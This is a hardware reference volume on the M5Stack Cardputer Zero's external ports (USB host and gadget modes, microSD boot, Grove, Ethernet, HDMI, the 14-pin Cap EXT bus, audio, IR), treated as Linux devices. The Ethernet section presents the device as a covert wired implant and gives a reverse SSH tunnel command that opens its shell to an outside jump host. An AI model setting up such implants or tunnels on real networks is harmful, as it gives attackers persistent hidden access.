Comments ▾
Figures ▾
Tables ▾

M5Stack Cardputer Zero · Volume 3

M5Stack Cardputer Zero Volume 3 — External Interfaces

2× USB-C + USB-A host, the microSD boot device, Grove, plus Ethernet / HDMI / the Cap EXT 14-pin bus / audio / IR — the richest external I/O in the Cardputer family, all on the Linux stack


3.1 About this volume

Vol 3 covers the Cardputer Zero’s external interfaces — every connector you can reach from outside the enclosure, and how each one presents itself to userland.

✅ Confirmed-fact intro (2026-06-30). The Cardputer Zero is a Raspberry Pi Compute Module 0 (CM0 / RP3A0 → BCM2710A1, quad Cortex-A53 @ 1.0 GHz, 512 MB LPDDR2) pocket Linux computer that boots Raspberry Pi OS / Debian (aarch64) off a microSD card. Every interface below is therefore a Linux device node, not a firmware-mapped peripheral: USB enumerates on the kernel USB stack, the SD card is the root filesystem, the Grove and EXT buses appear as /dev/i2c-*, /dev/spidev*, serial ttys and libgpiod lines, Ethernet is eth0, HDMI is a KMS/DRM connector, and the codec is an ALSA card. There is no sketch to flash and no esptool. The device has more external I/O than the original research-baseline draft of this volume claimed — including a real RJ45 Ethernet jack, HDMI out, a USB-A host port, and the 14-pin Cap EXT bus — so this is a substantial expansion, not a trim.

§ Why earlier drafts said ESP32. The 2026-05-13 research-baseline series was written before the product shipped and reasoned from the family pattern: the original Cardputer (K132) and the Cardputer ADV are ESP32-S3 microcontroller handhelds, so a “Zero” budget variant was assumed to be a cut-down ESP32-S3 board — “USB-C + microSD + Grove only,” with the EXT bus, audio jack and sensors deliberately omitted to hit a $30–40 price. That was a plausible-but-wrong textbook inference. The actual device (Kickstarter, launched 2026-05-26, $59 Lite / $89 Full) is a Raspberry Pi CM0 Linux machine — the “Zero” in the name is the Pi CM0 module, not a budget tier. The interface list below is the confirmed reality; the old “far less than the ADV / no EXT bus” framing is retired. (One concise correction note per volume — see the dossier’s §5 rule; the rest of this volume is confirmed-fact only.)

Cross-references: the on-card OS that drives all of this is in Vol 8 (imaging the boot card + first boot); the module catalog that hangs off the Grove and EXT buses is in Vol 4; the Linux-native security tooling that consumes the USB-A host port and the EXT-bus RF modules is in Vol 9. For the Linux-handheld peers, see the Cyberdecks project (../../Cyberdecks/) — the Clockwork uConsole (Pi CM4) and PicoCalc are the real software siblings, not the ESP32 Cardputer ADV.

Figure 1 — 1 — Cardputer Zero external I/O (annotated PCB, bottom side): Grove, 3.5 mm audio out, HDMI, 100M LAN, USB-A host, the 2×7 Cap-EXT socket, the camera port, plus the speaker/battery ports —…
Figure 1 — 1 — Cardputer Zero external I/O (annotated PCB, bottom side): Grove, 3.5 mm audio out, HDMI, 100M LAN, USB-A host, the 2×7 Cap-EXT socket, the camera port, plus the speaker/battery ports — with the dual USB-C and the host/slave switch broken out on the board edges. Diagram: M5Stack.

3.2 USB — dual Type-C + Type-A host

The Zero exposes three USB connectors, all on the CM0’s Linux USB stack — not a single ESP32 USB-CDC endpoint:

Table 1 — The Zero exposes three USB connectors, all on the CM0's Linux USB stack — not a single ESP32 USB-CDC endpoint

ConnectorRoleLinux sideTypical use
USB Type-C #1Host or device, set by the host/slave toggle switchdwc2 controller; gadget or hostCharging + power; gadget mode (g_ether / mass-storage / serial) when in device role
USB Type-C #2Host or device, same toggledwc2 / xHCI pathSecond port for a peripheral or a second-role link
USB Type-AHost onlyxHCI root-hub portFull-size host receptacle — plug standard USB peripherals straight in

3.2.1 Host vs device mode (the toggle switch)

The CM0/BCM2710A1 USB OTG core (dwc2) is dual-role. A physical host/slave toggle switch selects whether the Type-C side acts as:

  • Host (master): the Zero powers and enumerates downstream devices — keyboards, storage, USB Ethernet/Wi-Fi, SDR dongles. The kernel binds xhci_hcd/dwc2 in host mode; devices appear under lsusb and as /dev/... nodes.
  • Device (slave / gadget): the Zero presents itself to a PC. With the Linux USB gadget subsystem (libcomposite, configfs), it can enumerate as a serial console (g_serial/dev/ttyGS0), a USB-Ethernet NIC (g_etherusb0, an instant “plug into a laptop and SSH in” path), a mass-storage device, or a HID keyboard (BadUSB-style, but a real Linux gadget, not an MCU emulation).

Tip. The g_ether gadget on a Type-C port is the fastest way to reach a headless Zero with no network: toggle to device mode, plug into a laptop, bring up the usb0/RNDIS link, ssh pi@<link-local>. No display, no keyboard, no router needed. (Headless boot config is in Vol 8.)

3.2.2 What you actually plug into USB-A

The USB-A host port is the single biggest capability the ESP32 framing omitted. Because the Zero runs Linux, any class-compliant USB device with a mainline driver just works:

USB-A host port — high-value attachments (Linux, no porting)
  ├─ USB keyboard / hub ............ desktop use beyond the 46-key built-in
  ├─ USB Wi-Fi adapter ............. monitor-mode/injection NIC (mt76/rtl88xx)
  │                                   → the honest path for serious Wi-Fi work;
  │                                     the on-module 2.4 GHz radio is driver-limited
  ├─ RTL-SDR / HackRF .............. rtl_433, dump1090, lightweight GNU Radio
  ├─ USB mass storage .............. captures, wordlists, image staging
  ├─ Proxmark3 / smartcard reader .. pm3 client, PC/SC
  └─ USB-Ethernet / USB-serial ..... extra NIC, console to other gear

See Vol 9 for the security-tooling treatment (aircrack-ng/Kismet/bettercap on a USB monitor NIC; rtl_433 on an RTL-SDR). The 512 MB / quad-A53 ceiling means lightweight tools over heavy DSP — covered honestly in Vol 9.

3.2.3 Power

Charging is over USB-C (5 V; recommend a 5 V / 2 A supply for headroom under load with USB-A peripherals drawing bus power). The fuel gauge (BQ27220) and the 1500 mAh cell are detailed in the power volume; here the relevant point is that USB-A downstream current comes from the same budget — a hungry USB Wi-Fi adapter or SDR will pull from the pack unless you power from a wall supply.


3.3 microSD — the boot device

On the Zero the microSD slot is not accessory storage — it is the boot medium and root filesystem. The OS lives here; pull the card and the device is inert. This is the Raspberry Pi model exactly: the CM0 has no onboard eMMC in this product (earlier preview articles that said “32 GB eMMC” were a misreport — the official shop/docs specify microSD).

Table 2 — 3. microSD — the boot device

AspectConfirmed / expectedNotes
RoleBoot device + rootfsHolds the bootloader config, kernel, device-tree overlays, and the full Debian/RPi OS userland
Bundled cardFull model ships a 32 GB microSD; Lite ships noneLite buyer supplies + images their own card
FilesystemFAT boot partition + ext4 rootRPi-OS layout: small /boot (FAT) + ext4 /
BusSD/SDIO host on the CM0Native Pi SD controller, not SPI
ClassU1 / Class 10 minimum, A1/A2 preferredRandom-IO rating matters — it’s the rootfs, not just sequential capture
Capacity32 GB+ practical; larger fine (ext4, no FAT32 size cap on root)Boot FAT partition is small; root grows to card

3.3.1 Consequences of “the OS lives on the card”

  • Imaging is the install step. You write a full OS image to the card (Raspberry Pi Imager / the m5stack-imager tool / dd), not a firmware blob. End-to-end imaging + first boot is Vol 8.
  • Trivially clonable / readable. Any PC with a card reader can mount the rootfs, read SSH keys, or re-image it. That is a real attack-surface fact for a drop box — operational-posture handling is in Vol 11.
  • Swap personalities by swapping cards. Keep a recon card, a captive-portal card, a teaching-Linux card; the hardware is the same.

Warning. Because the card is the system, a corrupt or yanked-during-write card bricks the boot — not just “lost data.” Use a quality A1/A2 card and shut down cleanly (sudo poweroff) rather than pulling power.


3.4 Grove HY2.0-4P port

The Zero keeps the M5Stack Grove HY2.0-4P 4-pin port, with a built-in electronic switch that toggles the two signal pins between I²C and UART.

Grove HY2.0-4P pinout
   Pin 1: GND
   Pin 2: 5V
   Pin 3: signal A  → SDA (I²C)  or  RX (UART)   ┐ electronic switch
   Pin 4: signal B  → SCL (I²C)  or  TX (UART)   ┘ selects the mode

3.4.1 How Linux sees it

  • I²C mode: the bus appears as a /dev/i2c-N adapter. Enumerate with i2cdetect -y N; talk to sensors with i2c-dev from C/Python (smbus2), or bind an in-tree driver via a device-tree overlay.
  • UART mode: the pins map to a serial tty (/dev/ttyAMA* / /dev/ttyS* / a serialN alias). Standard termios, pyserial, minicom, etc.

This is the M5Stack Grove convention, now driven by mainline Linux subsystems instead of an Arduino library. The Grove Unit catalog (GPS, environment sensors, the C6L LoRa-over-UART unit, etc.) is in Vol 4.

Note. Grove is now the secondary expansion path, not the only one — the Cap EXT bus (§7) is the high-bandwidth route. The old “Grove is the only way to add hardware” premise was a consequence of the false “no EXT bus” claim and is retired.

3.4.2 Practical limits

  • One Grove port → one bus at a time; multiple I²C peripherals share the bus by address.
  • 5 V on pin 2 (verify current budget on receipt before driving a hungry unit).
  • UART or I²C speeds only — for SPI-class throughput, use the Cap EXT header (§7).

3.5 Ethernet — 10/100 RJ45

The Zero has a real 10/100 Mbps Ethernet RJ45 jack — a major capability the ESP32 framing omitted entirely. Under Linux it enumerates as a standard wired NIC (eth0), managed by the kernel’s networking stack and whatever userland the image uses (dhcpcd/systemd-networkd/NetworkManager).

Table 3 — 5. Ethernet — 10/100 RJ45

AspectConfirmedNotes
Speed10/100 MbpsFast Ethernet; not gigabit
Linux ifaceeth0Standard ip link / ip addr management
UseWired LAN, drop box, lab bench, out-of-band mgmtIndependent of the 2.4 GHz on-module Wi-Fi

3.5.1 Why wired matters here

For a pocket Linux box this is the difference between a toy and a drop box:

  • Plant-and-leave on a wired LAN — battery + Ethernet + SSH-over-reverse-tunnel = a classic implant posture (authorized engagements only; see Vol 11).
  • Deterministic lab connectivity — no Wi-Fi association headaches when you just need an IP on the bench.
  • Use Wi-Fi as the attack radio while Ethernet carries management — keep the wireless interface free for monitor mode / a rogue AP while eth0 handles your shell. This separation is exactly why a wired port is prized on field gear.
# Bring eth0 up and confirm a lease
ip link set eth0 up
ip addr show eth0
# Reverse-tunnel a shell home over the wired link (authorized use only)
ssh -fN -R 2222:localhost:22 user@your-jump-host

3.6 HDMI — digital A/V out

The Zero provides a digital HD A/V output, up to 1080p30, driven by the CM0’s VideoCore IV GPU. Under Linux this is a KMS/DRM connector — plug in an external display and you get a full desktop or console far larger than the 1.9″ 320×170 internal LCD.

Table 4 — 6. HDMI — digital A/V out

AspectConfirmedNotes
OutputDigital HD A/V (HDMI-class)Up to 1080p30
GPUVideoCore IV (OpenGL ES 1.1/2.0)Same display stack as the Pi Zero 2 W family
Linux sideKMS/DRM connector; framebuffer console + Wayland/XThe on-device Wayland shell is small-screen; an external monitor gives a normal desktop

Practical uses: drive a monitor for setup/teaching, mirror to a projector for demos, or run the device as a tiny desktop with a USB-A keyboard (§2.2) and an HDMI screen. The 320×170 internal panel and the small-screen Wayland shell are covered in the display volume; HDMI is the “go big” escape hatch.

Note. 1080p30 + 512 MB RAM means the external display is fine for terminals, light GUI, and slideware — not for video playback or compositing-heavy desktops. Match expectations to the SoC class.


3.7 Cap EXT — the 14-pin expansion header

The single most important correction in this volume. The earlier draft’s load-bearing premise was “no EXT bus.” That is false. The Cardputer Zero has a Cap EXT 2.54 mm, 14-pin expansion header breaking out SPI, UART, I²C, USB, GPIO, 5 V and GND — and it officially supports M5Stack’s Cap CC1101 (NFC / sub-GHz) and Cap LoRa modules over that bus.

3.7.1 What the header carries

Table 5 — 7.1 What the header carries

Signal classLinux exposureTypical consumer
SPI/dev/spidev* (spidev)CC1101 sub-GHz radio, LoRa transceiver, displays, fast ADCs
UARTserial tty (/dev/ttyAMA* etc.)GPS, LoRa modems, debug consoles
I²C/dev/i2c-* (i2c-dev)Sensors, RTCs, second-bus peripherals
USBhost port off the dwc2/xHCI stackUSB peripherals routed through a Cap module
GPIOlibgpiod (/dev/gpiochipN, gpioget/gpioset)IRQ lines, resets, chip-selects, control signals
5 V / GNDpower railsPowers the attached Cap module

Important — no sysfs GPIO. This is a Linux machine, so use libgpiod (gpioget, gpioset, gpiomon, or the C/Python bindings) and device-tree overlays to bind drivers — not the deprecated /sys/class/gpio interface and definitely not Arduino digitalWrite(). SPI peripherals attach via spidev or an in-tree driver loaded by an overlay (see m5stack/m5stack-linux-dtoverlays, referenced in Vol 8).

3.7.2 Officially-supported Cap modules

  • Cap CC1101 — NFC / sub-GHz radio. Under Linux the CC1101 hangs off SPI (spidev) with a GPIO IRQ line via libgpiod; drives rtl_433-style sub-GHz capture and the org’s RFID/NFC app workflows. RFID/NFC tradecraft is in Vol 9 § 9 (the CM0-correct Chameleon Ultra section).
  • Cap LoRa — LoRa transceiver. Under Linux this is the path to meshtasticd (the Linux-native Meshtastic daemon) and the org’s trail-mate app (GPS + LoRa chat + maps), which is the concrete demonstration of an EXT-bus module driven from Linux. LoRa/mesh details are in Vol 4.

Tip. The EXT bus is what makes the Zero an RF expansion platform rather than a sealed appliance: a Cap LoRa for mesh, a Cap CC1101 for sub-GHz, plus an RTL-SDR on USB-A (§2.2) covers three RF domains on a $59–89 pocket Linux box. (Mechanical Cap fitment is shared with the ADV’s Cap ecosystem — verify exact module compatibility on receipt.)


3.8 Audio jack + IR

Two more interfaces the old “stripped to hit the price” draft wrongly cut.

3.8.1 3.5 mm TRRS audio jack

The Zero carries a 3.5 mm TRRS jack as the front of a full audio chain: ES8389 codec → AW8737A amplifier → 1 W / 8 Ω speaker, plus a MEMS microphone. Under Linux the codec is an ALSA cardaplay/arecord, PulseAudio/PipeWire, and any ALSA-aware program use it directly.

Table 6 — 8.1 3.5 mm TRRS audio jack

AspectConfirmedNotes
Jack3.5 mm TRRSHeadphone out (+ mic ring on TRRS)
CodecES8389Presents as an ALSA playback/capture device
Amp / speakerAW8737A → 1 W / 8 ΩInternal speaker path
MicMEMSCapture via arecord
aplay -l            # list ALSA playback devices (the ES8389 card)
arecord -d 5 t.wav  # 5 s capture from the MEMS mic

3.8.2 IR — transmit and receive

The Zero has both an IR transmitter and an IR receiver. Under Linux these are driven through the kernel IR subsystem (rc-core / LIRC), so the device can both blast remote codes and decode received IR — appliance control, capture/replay, and learning workflows, all from userland.


3.9 What is NOT externally exposed

With the corrections above, the honest “not broken out” list is short. These are genuinely internal or absent — not the false omissions the earlier draft listed (it wrongly claimed no EXT bus, no jack, no mic, no IMU; all four are present on the Full model):

Table 7 — With the corrections above, the honest "not broken out" list is short. These are genuinely internal or absent — not the false omissions the earlier draft listed (it wrongly claimed no EXT bus, no jack, no mic, no IMU; all four are present on the Full model)

InterfaceStatusNote
Onboard Wi-Fi antennaInternal (IPEX)2.4 GHz b/g/n on-module; no 5 GHz, no external SMA. For 5 GHz / injection, attach a USB Wi-Fi NIC (§2.2).
External SMA / RF connectorNot presentThe on-module radio uses an internal IPEX antenna; Cap-module radios (CC1101/LoRa) bring their own RF paths via the EXT bus (§7).
eMMC / onboard flash bootNot presentThe OS boots from microSD (§3); there is no soldered eMMC in this product.
Gigabit EthernetNot presentEthernet is 10/100 (§5), not 1000.
Display ribbon / DSI breakoutInternalThe 1.9″ LCD is internal; HDMI (§6) is the external display path.
Camera CSI breakoutInternal (Full only)The 8 MP IMX219 is an internal CSI camera on the Full model; not an external connector.
JTAG / SWD debug headerNot exposed as a user portIt’s a Linux box — debug over SSH/serial/gadget, not silicon JTAG.

The dominant takeaway is the inverse of the old volume: the Zero’s external I/O is broad, and the few real gaps (5 GHz radio, gigabit, external RF connector) are exactly the ones a USB-A peripheral or a Cap module fills.


3.10 Comparison vs siblings + Cyberdecks Linux handhelds

3.10.1 vs the ESP32 Cardputers (family lineage only)

The Zero now has the richest external I/O of the Cardputer family — Ethernet, HDMI, a USB-A host port and the EXT bus are things the ESP32 originals simply do not have. (Note the class difference: the original/ADV are ESP32-S3 microcontrollers; the Zero is a Linux computer. The comparison below is interfaces only — for OS/dev/flashing the ESP32 siblings are not applicable references.)

Table 8 — 10.1 vs the ESP32 Cardputers (family lineage only)

InterfaceOriginal Cardputer (K132)Cardputer ADV (K132-Adv)Cardputer Zero (CM0/Linux)
USB-C (host/device toggle)
USB-A host
microSD✓ (storage)✓ (storage)✓ (boot device / rootfs)
Grove HY2.0-4P✓ (I²C⇄UART e-switch)
14-pin EXT bus✓ (Cap EXT — SPI/UART/I²C/USB/GPIO)
Ethernet RJ45✓ (10/100)
HDMI A/V out✓ (1080p30)
3.5 mm audio jack✓ (TRRS, ES8389)
MEMS mic
IR TX / RXTXTX/RXTX + RX
IMU✓ (Full: BMI270+BMM150)
Speaker✓ (1 W)

The old table’s verdict — “the original K132 with USB-C, minus the ADV’s value-adds” — is exactly backwards. The Zero is the most-connected member of the line; Ethernet + HDMI + USB-A + EXT are net-new to the whole family, and they exist because the Zero is a Pi-class Linux machine.

3.10.2 vs the Cyberdecks project’s Linux handhelds (the real peers)

The Zero’s true software siblings are the Linux handhelds in the Cyberdecks project (../../Cyberdecks/, cyberdecks.fubsypoly.com) — not the ESP32 Cardputers. On interfaces:

Table 9 — The Zero's true software siblings are the Linux handhelds in the Cyberdecks project (../../Cyberdecks/, cyberdecks.fubsypoly.com) — not the ESP32 Cardputers. On interfaces

InterfaceCardputer Zero (CM0)Clockwork uConsole (CM4)PicoCalc (RP2040/host MCU)
Compute classPi CM0, quad A53, 512 MB, LinuxPi CM4, quad A72, up to 8 GB, LinuxRP2040 MCU (+ optional Pi host)
Ethernet10/100 RJ45 onboardVia USB/dock (not onboard RJ45 on base)
HDMI1080p30 onboardmicro-HDMI (CM4)
USB-A host✓ (multiple)limited
Expansion busCap EXT 14-pin (SPI/UART/I²C/USB/GPIO)uConsole expansion + 4G/LoRa modulesPicoCalc PMOD/headers
Cellular✗ (Wi-Fi/Ethernet/LoRa)optional 4G module
Footprint84 × 54 × 23 mmlarger clamshellcalculator form

The Zero is the smallest and cheapest Linux handheld of that cohort ($59–89 vs the uConsole’s higher CM4-class cost), yet it is unusual in putting a wired RJ45 and HDMI directly on the body — most pocket Linux decks push those onto a dock. For a drop-box / lab-box role that on-body wired networking is a genuine differentiator. See ../../Cyberdecks/ for the full Linux-handheld comparison.


3.11 Resources

End of Vol 3. Next: Vol 4 walks the module ecosystem — the Grove Unit catalog, the Cap EXT modules (CC1101 sub-GHz, LoRa for meshtasticd/trail-mate), and how each is driven from Linux rather than an Arduino library.

Comments (0)

  1. Loading…

Comments are held for moderation — nothing appears until approved.